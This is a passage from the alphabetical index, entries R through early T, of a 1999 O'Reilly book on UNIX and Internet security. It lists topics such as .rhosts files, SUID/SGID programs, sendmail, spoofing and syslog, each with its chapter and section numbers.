rexec service : 17.3.17. rexec (TCP Port 512)
RFC 1750 : 23.8. Picking a Random Seed
.rhosts file
10.4.3. Network Setup
17.3.18.4. The ~/.rhosts file
17.3.18.5. Searching for .rhosts files
back door in : 11.1.2. Back Doors and Trap Doors
intruder's changes to : 24.4.1.4. Changes in .rhosts files
searching for : 17.3.18.5. Searching for .rhosts files
Ring Indicator (RI) : 14.3. The RS-232 Serial Protocol
RIP (Routing Internet Protocol) : 17.3.19. Routing Internet Protocol (RIP routed) (UDP Port 520)
risk assessment
2.2. Risk Assessment
2.2.2. Review Your Risks
2.5.3. Final Words: Risk Management Means Common Sense
risks : (see threats)
Ritchie, Dennis : 1.3. History of UNIX
Rivest, Ronald L.
6.1.3. Modern Controversy
6.4.1. Summary of Private Key Systems
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
6.5.4.1. MD2, MD4, and MD5
RJE (Remote Job Entry) : 3.2.1. The /etc/passwd File
rlogin command
1.4.3. Add-On Functionality Breeds Problems
3.5. Verifying Your New Password
16.3.2. Security and Nameservice
17.3.18. rlogin and rsh (TCP Ports 513 and 514)
17.3.18.6. /etc/hosts.lpd file
versus Telnet : 17.3.18. rlogin and rsh (TCP Ports 513 and 514)
rlogind command : 17.3.18. rlogin and rsh (TCP Ports 513 and 514)
rm command
5.4. Using Directory Permissions
15.4.3. L.cmds: Providing Remote Command Execution
and deep tree structures : 25.2.2.8. Tree-structure attacks
rmail program : 15.4.3. L.cmds: Providing Remote Command Execution
root account
4. Users, Groups, and the Superuser
4.1. Users and Groups
4.2.1. The Superuser
4.2.1.5. The problem with the superuser
5.5.2. Problems with SUID
(see also superuser)
abilities of : 27.1.3. What the Superuser Can and Cannot Do
chroot
8.1.5. Restricted Filesystem
8.1.5.2. Checking new software
immutable files and : 9.1.1. Immutable and Append-Only Files
network services with : 17.4. Security Implications of Network Services
protecting
8.5. Protecting the root Account
8.5.3.2. Trusted computing base
on remote machine, fingering : 24.2.4.2. How to contact the system administrator of a computer you don't know
single-command accounts and : 8.1.3. Accounts That Run a Single Command
web server as : 18.2.1. The Server's UID
root directory : 5.1.1. Directories
backups of : 7.1.3. Types of Backups
UUCP access from : 15.4.2.1. Some bad examples
root option for /etc/exports : 20.2.1.1. /etc/exports
ROT13 algorithm
6.4.1. Summary of Private Key Systems
6.4.3. ROT13: Great for Encoding Offensive Jokes
rotating backup media
7.1.3. Types of Backups
7.2.1.2. Media rotation
routed daemon : 17.3.19. Routing Internet Protocol (RIP routed) (UDP Port 520)
routers, intelligent : 21.2.3. Setting Up the Choke
routing : 16.2.2. Routing
Routing Internet Protocol : (see RIP)
RPC table (NIS+) : 19.5.3. NIS+ Tables
rpc.rexdserver : 17.3.22. RPC rpc.rexd (TCP Port 512)
rpcbind : (see portmapper program)
RPCs (remote procedure calls)
17.3.22. RPC rpc.rexd (TCP Port 512)
19. RPC, NIS, NIS+, and Kerberos
19.7.2. SESAME
authentication of
19.2.2. RPC Authentication
19.2.2.4. AUTH_KERB
portmapper program : 17.3.11. Sun RPC's portmapper (UDP and TCP Ports 111)
Secure : (see Secure RPC)
spoofing : 19.4.4.4. Spoofing RPC
RS-232 serial protocol : 14.3. The RS-232 Serial Protocol
RSA algorithm
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
6.4.6.3. Strength of RSA
6.5.3. Digital Signatures
rsh (restricted shell)
8.1.4.1. Restricted shells under System V UNIX
8.1.4.6. Potential problems with rsh
17.3.18. rlogin and rsh (TCP Ports 513 and 514)
17.3.18.6. /etc/hosts.lpd file
rsh command : 16.3.2. Security and Nameservice
rshd program : 11.1.2. Back Doors and Trap Doors
RUID : (see real UIDs/GIDs)
runacct command : 10.2. The acct/pacct Process Accounting File
ruusend command : 15.4.3. L.cmds: Providing Remote Command Execution
rw option for /etc/exports : 20.2.1.1. /etc/exports

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

S/Key codebook scheme : 8.7.3. Code Books
sa command : 10.2. The acct/pacct Process Accounting File
sabotage : (see terrorism; vandalism)
salt
8.6.2. What Is Salt?
8.6.3. What the Salt Doesn't Do
sanitizing media : 12.3.2.3. Sanitize your media before disposal
SATAN package
17.6.1. SATAN
E.4.7. SATAN
savacct file : 10.2. The acct/pacct Process Accounting File
saved UID : 4.3.2. Saved IDs
saving backup media
7.1.5. How Long Should You Keep a Backup?
(see also archiving information; backups)
sbrk command : 23.2. Tips on Avoiding Security-related Bugs
scanf function : 23.2. Tips on Avoiding Security-related Bugs
scanning networks : 17.6. Network Scanning
SCCS (Source Code Control System)
7.3.2. Building an Automatic Backup System
17.3. Primary UNIX Network Services
Scherbius, Arthur : 6.3. The Enigma Encryption System
screen savers : 12.3.5.2. X screen savers
screens, multiple : 12.3.4.3. Multiple screens
script command : 24.1.2. Rule #2: DOCUMENT
scripts, CGI : (see CGI, scripts)
scytales : 6.1. A Brief History of Cryptography
search warrants
26.2.4. Hazards of Criminal Prosecution
26.2.5. If You or One of Your Employees Is a Target of an Investigation...
searching for .rhosts file : 17.3.18.5. Searching for .rhosts files
Seberry, Jennifer : 6.5.4.3. HAVAL
secrecy, Kerberos : 19.6.1.3. Authentication, data integrity, and secrecy
secret keys : 6.4.6. RSA and Public Key Cryptography
Secret Service, U.S.
26.2.2. Federal Jurisdiction
F.3.3. U.S. Secret Service (USSS)
Secure Hash Algorithm (SHA)
6.5.3. Digital Signatures
6.5.4.2. SHA
Secure HTTP : 18.4.1. Eavesdropping Over the Wire
Secure NFS : 19.3.2.4. Using Secure NFS
-secure option
19.3.2.4. Using Secure NFS
19.4.4.5. Spoofing NIS
secure option for /etc/exports : 20.2.1.1. /etc/exports
Secure RPC
19.3. Secure RPC (AUTH_DES)
19.3.4. Limitations of Secure RPC
with NIS/NIS+
19.3.2. Setting Up Secure RPC with NIS
19.3.4. Limitations of Secure RPC
NTP and : 19.3.1.3. Setting the window
reauthentication : 19.3.1.3. Setting the window
versus Kerberos : 19.6.2. Kerberos vs. Secure RPC
Secure Socket Layer : (see SSL)
secure terminals : 8.5.1. Secure Terminals
SecureID : 8.7.2. Token Cards
SecureNet key : 8.7.2. Token Cards
security
2.1. Planning Your Security Needs
9.1.2. Read-only Filesystems
12.1.1. The Physical Security Plan
(see also integrity; physical security; system administration; threats)
of CGI scripts
18.2.3. Writing Secure CGI Scripts and Programs
18.2.4.1. Beware mixing HTTP with anonymous FTP
changed detection
9.2. Detecting Change
9.3. A Final Note
checking arguments : 23.2. Tips on Avoiding Security-related Bugs
critical messages to log
10.5.3. syslog Messages
10.5.3.1. Beware false log entries
cryptography
6. Cryptography
6.7.2. Cryptography and Export Controls
definition of : 1.1. What Is Computer Security?
digital signatures : (see digital signatures)
disabling finger : 17.3.8.2. Disabling finger
disk quotas : 25.2.2.5. Using quotas
dormant accounts, finding : 8.4.3. Finding Dormant Accounts
drills : 24.1.3. Rule #3: PLAN AHEAD
/etc/passwd : (see /etc/group file; /etc/passwd file)
firewalls : (see firewalls)
four steps toward : 2.4.4.7. Defend in depth
guessable passwords
3.6.1. Bad Passwords: Open Doors
3.6.4. Passwords on Multiple Machines
identification protocol : 17.3.12. Identification Protocol (auth) (TCP Port 113)
improving DES algorithm
6.4.5. Improving the Security of DES
6.4.5.2. Triple DES
IP
16.3. IP Security
16.3.3. Authentication
laws and : (see laws)
legal liability
26.4. Other Liability
26.4.7. Harassment, Threatening Communication, and Defamation
levels of NIS+ servers : 19.5.5. NIS+ Limitations
link-level : 16.3.1. Link-level Security
message digests : (see message digests)
modems and
14.4. Modems and Security
14.4.4.2. Protection against eavesdropping
monitoring : (see logging)
multilevel (defense in depth)
1.3. History of UNIX
2.4.4.7. Defend in depth
2.5.3. Final Words: Risk Management Means Common Sense
17.2. Controlling Access to Servers
name service and : 16.3.2. Security and Nameservice
national : 26.2.2. Federal Jurisdiction
network services
17.4. Security Implications of Network Services
19.1. Securing Network Services
passwords
3.2. Passwords
3.8. Summary
personnel
13. Personnel Security
13.3. Outsiders
A.1.1.12. Chapter 13: Personnel Security
policy of
1.2. What Is an Operating System?
2. Policies and Guidelines
2.5.3. Final Words: Risk Management Means Common Sense
protecting backups
7.1.6. Security for Backups
7.1.6.3. Data security for backups
published resources on
D. Paper Sources
D.2. Security Periodicals
responding to breakins
24. Discovering a Break-in
24.7. Damage Control
restricting login : 8.3. Restricting Logins
.rhosts : (see .rhosts file)
sendmail problems : 17.3.4.1. sendmail and security
Skipjack algorithm : 6.4.1. Summary of Private Key Systems
SNMP and : 17.3.15. Simple Network Management Protocol (SNMP) (UDP Ports 161 and 162)
software piracy : 26.4.2.1. Software piracy and the SPA
standards of : 2.4.2. Standards
superuser problems : 4.2.1.5. The problem with the superuser
through obscurity
2.5. The Problem with Security Through Obscurity
2.5.3. Final Words: Risk Management Means Common Sense
8.8.9. Account Names Revisited: Using Aliases for Increased Security
18.2.4. Keep Your Scripts Secret!
tools for : 11.1. Programmed Threats: Definitions
Tripwire package
9.2.4. Tripwire
9.2.4.2. Running Tripwire
UNIX and
1. Introduction
1.4. Security and UNIX
1.4.3. Add-On Functionality Breeds Problems
user awareness of
1.4.1. Expectations
2. Policies and Guidelines
2.4.4.4. Concentrate on education
13.2.2. Ongoing Training and Awareness
UUCP : (see UUCP)
weakness-finding tools : 11.1.1. Security Tools
World Wide Web
18. WWW Security
18.7. Summary
X Window System
17.3.21.2. X security
17.3.21.3. The xhost facility
Security Emergency Response Team (SERT) : F.3.4.4. Australia: Internet .au domain
security file (UUCP) : 10.3.4. uucp Log Files
security holes
2.5. The Problem with Security Through Obscurity
(see also back doors; threats)
ftpd program : 6.5.2. Using Message Digests
mailing list for : E.1.3.3. Bugtraq
reporting : 2.5.1. Going Public
ruusend in L.cmds file : 15.4.3. L.cmds: Providing Remote Command Execution
SUID/SGID programs : 5.5.3.1. write: Example of a possible SUID/SGID security hole
/usr/lib/preserve : 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
UUCP : 15.7. Early Security Problems with UUCP
sed scripts : 11.1.4. Trojan Horses
seeds, random number
23.6. Tips on Generating Random Numbers
23.8. Picking a Random Seed
select system call : 17.1.3. The /etc/inetd Program
selection lists : 18.2.3.1. Do not trust the user's browser!
self-destruct sequences : 27.2.1. Hardware Bugs
SENDFILES= command
15.5.1.3. A Sample Permissions file
15.5.2. Permissions Commands
sendmail
11.1.2. Back Doors and Trap Doors
11.5.2.5. .forward, .procmailrc
11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
17.3.4.3. Improving the security of Berkeley sendmail V8
24.2.4.2. How to contact the system administrator of a computer you don't know
(see also mail)
aliases : 11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
determining version of : 17.3.4.1. sendmail and security
.forward file : 24.4.1.6. Changes to startup files
improving Version 8 : 17.3.4.3. Improving the security of Berkeley sendmail V8
logging to syslog : 17.3.4.3. Improving the security of Berkeley sendmail V8
same Internet/NIS domain : 19.4.3. NIS Domains
security problems with : 17.3.4.1. sendmail and security
sendmail.cf file : 17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
sensors : (see detectors)
separation of duties : 13.2.5. Least Privilege and Separation of Duties
sequence of commands : 23.2. Tips on Avoiding Security-related Bugs
serial interfaces : 14.2. Serial Interfaces
Serial Line Internet Protocol (SLIP) : 14.5. Modems and UNIX
serial numbers, logging : 10.7.1.2. Informational material
SERT (Security Emergency Response Team) : F.3.4.4. Australia: Internet .au domain
server-side includes
18.2.2.2. Additional configuration issues
18.3.2. Commands Within the <Directory> Block
servers
16.2.5. Clients and Servers
17.1. Understanding UNIX Internet Servers
17.1.3. The /etc/inetd Program
backing up : 7.2.2. Small Network of Workstations and a Server
checklist for bringing up : 17.4. Security Implications of Network Services
controlling access to : 17.2. Controlling Access to Servers
ftp : (see FTP)
http : (see http server)
load shedding : 23.3. Tips on Writing Network Programs
master/slave : (see NIS)
NIS+, security levels of : 19.5.5. NIS+ Limitations
overloading with requests : 25.3.1. Service Overloading
setting up for FTP
17.3.2.4. Setting up an FTP server
17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
web : (see web servers)
WN : 18.3. Controlling Access to Files on Your Server
Xauthority : 17.3.21.4. Using Xauthority magic cookies
service overloading : 25.3.1. Service Overloading
services file : 17.1.1. The /etc/services File
Services table (NIS+) : 19.5.3. NIS+ Tables
SESAME (Secure European System for Applications in a Multivendor Environment) : 19.7.2. SESAME
session
hijacking : 17.3.3. TELNET (TCP Port 23)
IDs
4.3.3. Other IDs
C.1.3.4. Process groups and sessions
keys
6.4. Common Cryptographic Algorithms
19.3.1.1. Proving your identity
setgid function
4.3.3. Other IDs
23.4. Tips on Writing SUID/SGID Programs
setpgrp function : C.1.3.4. Process groups and sessions
setrlimit function : 23.2. Tips on Avoiding Security-related Bugs
setsid function : C.1.3.4. Process groups and sessions
setuid file : 4.3.1. Real and Effective UIDs
setuid function : 23.4. Tips on Writing SUID/SGID Programs
setuid/setgid : (see SUID/SGID programs)
SGID bit
5.5.1. SUID, SGID, and Sticky Bits
5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory Record Locking
(see also SUID/SGID programs)
clearing with chown : 5.7. chown: Changing a File's Owner
on directories : 5.5.6. SGID and Sticky Bits on Directories
on files : 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory Record Locking
SGID files : B.3.2.2. SGID files
sh (Bourne shell)
11.5.1. Shell Features
C.5.3. Running the User's Shell
(see also shells)
sh program : 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
SUID and : 5.5.2. Problems with SUID
SHA (Secure Hash Algorithm)
6.5.3. Digital Signatures
6.5.4.2. SHA
shadow file
8.1.1. Accounts Without Passwords
8.8.5. Shadow Password Files
shadow passwords
3.2.1. The /etc/passwd File
8.4.1. Changing an Account's Password
8.8.5. Shadow Password Files
Shamir, Adi
6.4.2. Summary of Public Key Systems
6.4.6. RSA and Public Key Cryptography
shar format file : 11.1.4. Trojan Horses
shareware : 27.2.2. Viruses on the Distribution Disk
shell escapes
8.1.3. Accounts That Run a Single Command
8.1.4.6. Potential problems with rsh
in L.cmds list : 15.4.3. L.cmds: Providing Remote Command Execution
shell scripts, SUID
5.5.3. SUID Shell Scripts
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
shells
1.2. What Is an Operating System?
3.2.1. The /etc/passwd File
11.1.4. Trojan Horses
11.5.1. Shell Features
11.5.1.4. Filename attacks
C.2. Creating Processes
C.5.3. Running the User's Shell
changing
8.4.2. Changing the Account's Login Shell
8.7.1. Integrating One-time Passwords with UNIX
history files : 10.4.1. Shell History
one-command accounts : 8.1.3. Accounts That Run a Single Command
restricted (rsh, ksh)
8.1.4.1. Restricted shells under System V UNIX
8.1.4.6. Potential problems with rsh
UUCP : (see uucico program)
shells file : 8.4.2. Changing the Account's Login Shell
Shimomura, Tsutomu : 23.3. Tips on Writing Network Programs
shoulder surfing
3.2.4. Passwords Are a Shared Secret
5.5.2. Problems with SUID
shredders : 12.3.3. Other Media
SHTTP : (see Secure HTTP)
shutdowns and wtmp file : 10.1.3. last Program
SIGHUP signal : C.4. The kill Command
SIGKILL signal : C.4. The kill Command
Signal Ground (SG) : 14.3. The RS-232 Serial Protocol
signal grounding : 25.3.3. Signal Grounding
signals : C.3. Signals
signature : 9.2. Detecting Change
signatures : (see digital signatures)
SIGSTOP signal : C.4. The kill Command
SIGTERM signal : 25.2.1.1. Too many processes
Simple Mail Transfer Protocol (SMTP)
17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
17.3.4.3. Improving the security of Berkeley sendmail V8
Simple Network Management Protocol : (see SNMP)
single-user mode : C.5.1. Process #1: /etc/init
Skipjack algorithm : 6.4.1. Summary of Private Key Systems
slash (/)
IFS separator : 11.5.1.2. IFS attacks
root directory
5.1.1. Directories
(see also root directory)
Slave mode (uucico) : 15.1.4. How the UUCP Commands Work
slave server
19.4. Sun's Network Information Service (NIS)
(see also NIS)
SLIP (Serial Line Internet Protocol)
14.5. Modems and UNIX
16.2. IPv4: The Internet Protocol Version 4
Small Business Community Nationwide (SBA CERT) : F.3.4.31. Small Business Association (SBA): small business community nationwide
smap program : 17.3.4.1. sendmail and security
smart cards, firewalls : 21.5. Special Considerations
smit tool : 8.8.2. Constraining Passwords
smoke and smoking : 12.2.1.2. Smoke
SMTP (Simple Mail Transfer Protocol)
17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
17.3.4.3. Improving the security of Berkeley sendmail V8
SNA (System Network Architecture) : 16.4.2. SNA
SNEFRU algorithm : 6.5.4.4. SNEFRU
sniffers
1.4.3. Add-On Functionality Breeds Problems
3. Users and Passwords
8.7. One-Time Passwords
17.3.3. TELNET (TCP Port 23)
(see also eavesdropping)
network : 16.3. IP Security
packet : 16.3.1. Link-level Security
SNMP (Simple Network Management Protocol) : 17.3.15. Simple Network Management Protocol (SNMP) (UDP Ports 161 and 162)
snoop program : 24.2.3. Monitoring the Intruder
SOCKS : E.4.8. SOCKS
soft disk quotas : 25.2.2.5. Using quotas
software
for backups
7.4. Software for Backups
7.4.7. inode Modification Times
bugs in : (see bugs)
for checking integrity : 19.5.5. NIS+ Limitations
checking new
8.1.5.2. Checking new software
11.1.2. Back Doors and Trap Doors
consistency of : 2.1. Planning Your Security Needs
distributing : (see FTP)
exporting : 26.4.1. Munitions Export
failure of : 7.1.1.1. A taxonomy of computer failures
hacker challenges : 27.2.4. Hacker Challenges
logic bombs : 11.1.3. Logic Bombs
operating system : (see operating systems)
patches for, logging : 10.7.2.2. Informational material
quality of
1.4.2. Software Quality
1.4.3. Add-On Functionality Breeds Problems
stolen (pirated)
17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
26.4.2.1. Software piracy and the SPA
stored via FTP : 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP server
testing : 1.4.2. Software Quality
vendor license agreements : 18.5.2. Trusting Your Software Vendor
viruses : 11.1.5. Viruses
worms : 11.1.6. Worms
software patents : 6.7.1. Cryptography and the U.S. Patent System
Software Publishers Association (SPA) : 26.4.2.1. Software piracy and the SPA
Software Security Response Team (SSRT) : F.3.4.9. Digital Equipment Corporation and customers
Solaris
1.3. History of UNIX
8.7.1. Integrating One-time Passwords with UNIX
/etc/logindevperm : 17.3.21.1. /etc/fbtab and /etc/logindevperm
process limit : 25.2.1.1. Too many processes
Secure RPC time window : 19.3.1.3. Setting the window
/var/adm/loginlog file : 10.1.4. loginlog File
wtmpx file : 10.1.2. utmp and wtmp Files
Source Code Control System (SCCS) : 7.3.2. Building an Automatic Backup System
source code, keeping secret : 2.5. The Problem with Security Through Obscurity
SPA (Software Publishers Association) : 26.4.2.1. Software piracy and the SPA
Spaf's first principle : 2.4.4.5. Have authority commensurate with responsibility
spies
11.3. Authors
14.4.4.1. Kinds of eavesdropping
spoofing : 16.3. IP Security
network connection : 8.5.3.1. Trusted path
network services : 17.5. Monitoring Your Network with netstat
NIS : 19.4.4.5. Spoofing NIS
RPCs : 19.4.4.4. Spoofing RPC
spool file : 15.1.4. How the UUCP Commands Work
spoolers, printer : 12.3.4.1. Printer buffers
sprinkler systems
12.2.1.1. Fire
(see also water)
Sprint response team : F.3.4.32. Sprint
sprintf function
23.1.1. The Lesson of the Internet Worm
23.2. Tips on Avoiding Security-related Bugs
sscanf function : 23.2. Tips on Avoiding Security-related Bugs
SSL (Secure Socket Layer) : 18.4.1. Eavesdropping Over the Wire
SSRT (Software Security Response Team) : F.3.4.9. Digital Equipment Corporation and customers
Stallman, Richard : 1. Introduction
start bit
14.1. Modems: Theory of Operation
14.2. Serial Interfaces
startup command : 10.2.1. Accounting with System V
startup files
attacks via
11.5.2. Start-up File Attacks
11.5.2.7. Other initializations
intruder's changes to : 24.4.1.6. Changes to startup files
stat function : 5.4. Using Directory Permissions
state law enforcement : 26.2.1. The Local Option
stateless : 20.1.4.3. Connectionless and stateless
static electricity : 12.2.1.8. Electrical noise
static links : 23.4. Tips on Writing SUID/SGID Programs
stdio : (see portable I/O library)
Steele, Guy L. : 1. Introduction
sticky bits : 5.5.1. SUID, SGID, and Sticky Bits
on directories : 5.5.6. SGID and Sticky Bits on Directories
stolen property : (see theft)
stop bit
14.1. Modems: Theory of Operation
14.2. Serial Interfaces
storage
12.3.4. Protecting Local Storage
12.3.4.5. Function keys
strcpy routine : 23.1.1. The Lesson of the Internet Worm
streadd function : 23.2. Tips on Avoiding Security-related Bugs
strecpy function : 23.2. Tips on Avoiding Security-related Bugs
strength, cryptographic : 6.2.3. Cryptographic Strength
of DES algorithm
6.4.4.3. DES strength
6.4.5.2. Triple DES
of RSA algorithm : 6.4.6.3. Strength of RSA
string command : 12.3.5.2. X screen savers
strtrns function : 23.2. Tips on Avoiding Security-related Bugs
su command
4.2.1.2. Superuser is not for casual use
4.3. su: Changing Who You Claim to Be
4.3.8. Other Uses of su
becoming superuser : 4.3.4. Becoming the Superuser
log of failed attempts : 4.3.7. The Bad su Log
sulog file
10.1. The Basic Log Files
10.3.2. sulog Log File
utmp and wtmp files and : 10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
subnetting : 16.2.1.2. Classical network addresses
substitution (in encryption) : 6.1.2. Cryptography and Digital Computers
SUID/SGID programs
4.3.1. Real and Effective UIDs
5.5. SUID
5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory Record Locking
B.3. SUID and SGID Files
back door via : 11.1.2. Back Doors and Trap Doors
chown command and : 5.7. chown: Changing a File's Owner
chroot call and : 8.1.5.2. Checking new software
created by intruders : 24.4.1.3. New SUID and SGID files
on directories : 5.5.6. SGID and Sticky Bits on Directories
disabling (turning off) : 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
finding all files
5.5.4. Finding All of the SUID and SGID Files
5.5.4.1. The ncheck command
shell scripts
5.5.3. SUID Shell Scripts
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
uucp access : 15.3. UUCP and Security
writing : 23.4. Tips on Writing SUID/SGID Programs
SUID/SGID programs:writing:programming:writing:zzz] : 23. Writing Secure SUID and Network Programs
suing : (see civil actions)
sulog file
4.3.7. The Bad su Log
10.3.2. sulog Log File
sum command
6.5.5.1. Checksums
9.2.3. Checksums and Signatures
Sun Microsystem's NIS : (see NIS)
Sun Microsystems : F.3.4.34. Sun Microsystems customers
SUN-DES-1 authentication : 17.3.21.3. The xhost facility
SunOS operating system : 1.3. History of UNIX
authdes_win variable : 19.3.1.3. Setting the window
/etc/fbtab file : 17.3.21.1. /etc/fbtab and /etc/logindevperm
TFTP sand : 17.3.7. Trivial File Transfer Protocol (TFTP) (UDP Port 69)
trusted hosts and : 17.3.18.5. Searching for .rhosts files
superencryption : 6.4.5. Improving the Security of DES
superuser
4. Users, Groups, and the Superuser
4.2.1. The Superuser
4.2.1.5. The problem with the superuser
(see also root account)
abilities of : 27.1.3. What the Superuser Can and Cannot Do
becoming with su : 4.3.4. Becoming the Superuser
changing passwords
8.4.1. Changing an Account's Password
8.8.8. Disabling an Account by Changing Its Password
encryption and : 6.2.4. Why Use Encryption with UNIX?
logging attempts to become : (see sulog file)
problems with : 4.2.1.5. The problem with the superuser
restrictions on : 4.2.1.4. What the superuser can't do
TCB files : 8.5.3.2. Trusted computing base
using passwd command : 3.5. Verifying Your New Password
web server as : 18.2.1. The Server's UID
SURFnet : F.3.4.25. Netherlands: SURFnet-connected sites
surges : (see power surges)
SVR4 (System V Release 4) : 1.3. History of UNIX
swap partition : 5.5.1. SUID, SGID, and Sticky Bits
swap space : 25.2.3. Swap Space Problems
Swatch program
10.6. Swatch: A Log File Tool
10.6.2. The Swatch Configuration File
E.4.9. Swatch
SWITCH : F.3.4.35. SWITCH-connected sites
symbolic links and permissions : 5.1.7. File Permissions in Detail
symbolic-link following
18.2.2.2. Additional configuration issues
18.3.2. Commands Within the <Directory> Block
SymLinksIfOwnerMatch option : 18.3.2. Commands Within the <Directory> Block
symmetric key : (see private-key cryptography)
SYN bit : 16.2.4.2. TCP
sync system call
5.6. Device Files
8.1.3. Accounts That Run a Single Command
sys (user) : 4.1. Users and Groups
syslog facility
4.3.7. The Bad su Log
10.5. The UNIX System Log (syslog) Facility
10.5.3.1. Beware false log entries
23.1.1. The Lesson of the Internet Worm
false log entries : 10.5.3.1. Beware false log entries
where to log
10.5.2. Where to Log
10.5.2.3. Logging everything everywhere
syslog file : 17.3.4.3. Improving the security of Berkeley sendmail V8
syslog.conf file : 10.5.1. The syslog.conf Configuration File
systat service : 17.3.1. systat (TCP Port 11)
system
auditing activity on : 2.1. Planning Your Security Needs
backing up critical files
7.3. Backing Up System Files
7.3.2. Building an Automatic Backup System
control over : (see access control)
database files : 1.2. What Is an Operating System?
overload attacks : 25.2.1.2. System overload attacks
performance : (see performance)
remote, commands on : 15.1.2. uux Command
summarizing usage per user : 25.2.2.2. quot command
transfering files to other : 15.1.1. uucp Command
system (in swatch program) : 10.6.2. The Swatch Configuration File
system administration : 2.4.4.5. Have authority commensurate with responsibility
avoiding conventional passwords
8.8. Administrative Techniques for Conventional Passwords
8.8.9. Account Names Revisited: Using Aliases for Increased Security
change monitoring : 9.3. A Final Note
changing passwords
8.4.1. Changing an Account's Password
8.8.8. Disabling an Account by Changing Its Password
cleaning up /tmp directory : 25.2.4. /tmp Problems
contacting administrator : 24.2.4.2. How to contact the system administrator of a computer you don't know
controlling UUCP security : 15.3. UUCP and Security
detached signatures (PGP) : 6.6.3.6. PGP detached signatures
disabling finger system : 17.3.8.2. Disabling finger
discovering intruders
24.2. Discovering an Intruder
24.2.6. Anatomy of a Break-in
dual universes and : 5.9.1. Dual Universes
errors by : 7.1.1.1. A taxonomy of computer failures
finding largest files : 25.2.2.1. Disk-full attacks
immutable files and : 9.1.1. Immutable and Append-Only Files
locked accounts : 3.3. Entering Your Password
message authentication : 6.5.2. Using Message Digests
monitoring phantom mail : 17.3.4.2. Using sendmail to receive email
new passwords : 3.4. Changing Your Password
read-only filesystems and : 9.1.2. Read-only Filesystems
references on : D.1.11. UNIX Programming and System Administration
removing automatic backups : 18.2.3.5. Beware stray CGI scripts
sanitizing media : 12.3.2.3. Sanitize your media before disposal
trusting : 27.3.2. Your System Administrator?
weakness-finding tools : 11.1.1. Security Tools
system call : 5.1.7. File Permissions in Detail
system clock
changing
5.1.5. File Times
9.2.3. Checksums and Signatures
17.3.14. Network Time Protocol (NTP) (UDP Port 123)
for random seeds : 23.8. Picking a Random Seed
Secure RPC timestamp : 19.3.1.3. Setting the window
system files : 11.6.1.2. Writable system files and directories
initialization files : 11.5.3.5. System initialization files
system function
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
18.2.3.2. Testing is not enough!
18.2.3.3. Sending mail
23.2. Tips on Avoiding Security-related Bugs
system functions, checking arguments to : 23.2. Tips on Avoiding Security-related Bugs
System Network Architecture (SNA) : 16.4.2. SNA
System V UNIX
Which UNIX System?
1.3. History of UNIX
accounting with : 10.2.1. Accounting with System V
chroot in : 8.1.5. Restricted Filesystem
default umask value : 5.3. The umask
groups and : 4.1.3.2. Groups and older AT&T UNIX
inittab program : C.5.1. Process #1: /etc/init
modems and : 14.5.1. Hooking Up a Modem to Your Computer
passwords : 8.1.1. Accounts Without Passwords
ps command with : C.1.2.1. Listing processes with systems derived from System V
random number generators : 23.7.3. drand48 ( ), lrand48 ( ), and mrand48 ( )
recent login times : 10.1.1. lastlog File
Release 4 (SVR4) : 1.3. History of UNIX
restricted shells : 8.1.4.1. Restricted shells under System V UNIX
SGI bit on files : 5.5.7. SGID Bit on Files (System V UNIX Only): Mandatory Record Locking
su command and : 4.3.6. Restricting su
SUID files, list of : B.3. SUID and SGID Files
utmp and wtmp files : 10.1.2. utmp and wtmp Files
UUCP : 15.4.1.3. Format of USERFILE entry without system name
/var/adm/loginlog file : 10.1.4. loginlog File
wtmpx file : 10.1.2. utmp and wtmp Files
Systems file : 15.3.3. Security of L.sys and Systems Files

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

table objects (NIS+) : 19.5.3. NIS+ Tables
TACACS : 17.3.5. TACACS (UDP Port 49)
tainting
18.2.3.4. Tainting with Perl
23.4. Tips on Writing SUID/SGID Programs
taintperl
5.5.3. SUID Shell Scripts
18.2.3.4. Tainting with Perl
23.4. Tips on Writing SUID/SGID Programs
talk program : 11.1.4. Trojan Horses
tandem backup : 7.1.4. Guarding Against Media Failure
tar program
6.6.1.2. Ways of improving the security of crypt
7.3.2. Building an Automatic Backup System
7.4.2. Simple Archives
7.4.4. Encrypting Your Backups
24.2.6. Anatomy of a Break-in
Taylor UUCP : 15.2. Versions of UUCP
TCB (trusted computing base) : 8.5.3.2. Trusted computing base
/tcb directory : 8.1.1. Accounts Without Passwords
tcov tester : 23.2. Tips on Avoiding Security-related Bugs
TCP (Transmission Control Protocol)
16.2.4.2. TCP
17.1.3. The /etc/inetd Program
(see also network services)
connections, clogging : 25.3.4. Clogging
TCP/IP
1.4.3. Add-On Functionality Breeds Problems
10.5.2.2. Logging across the network
(see also networks)
checklist for
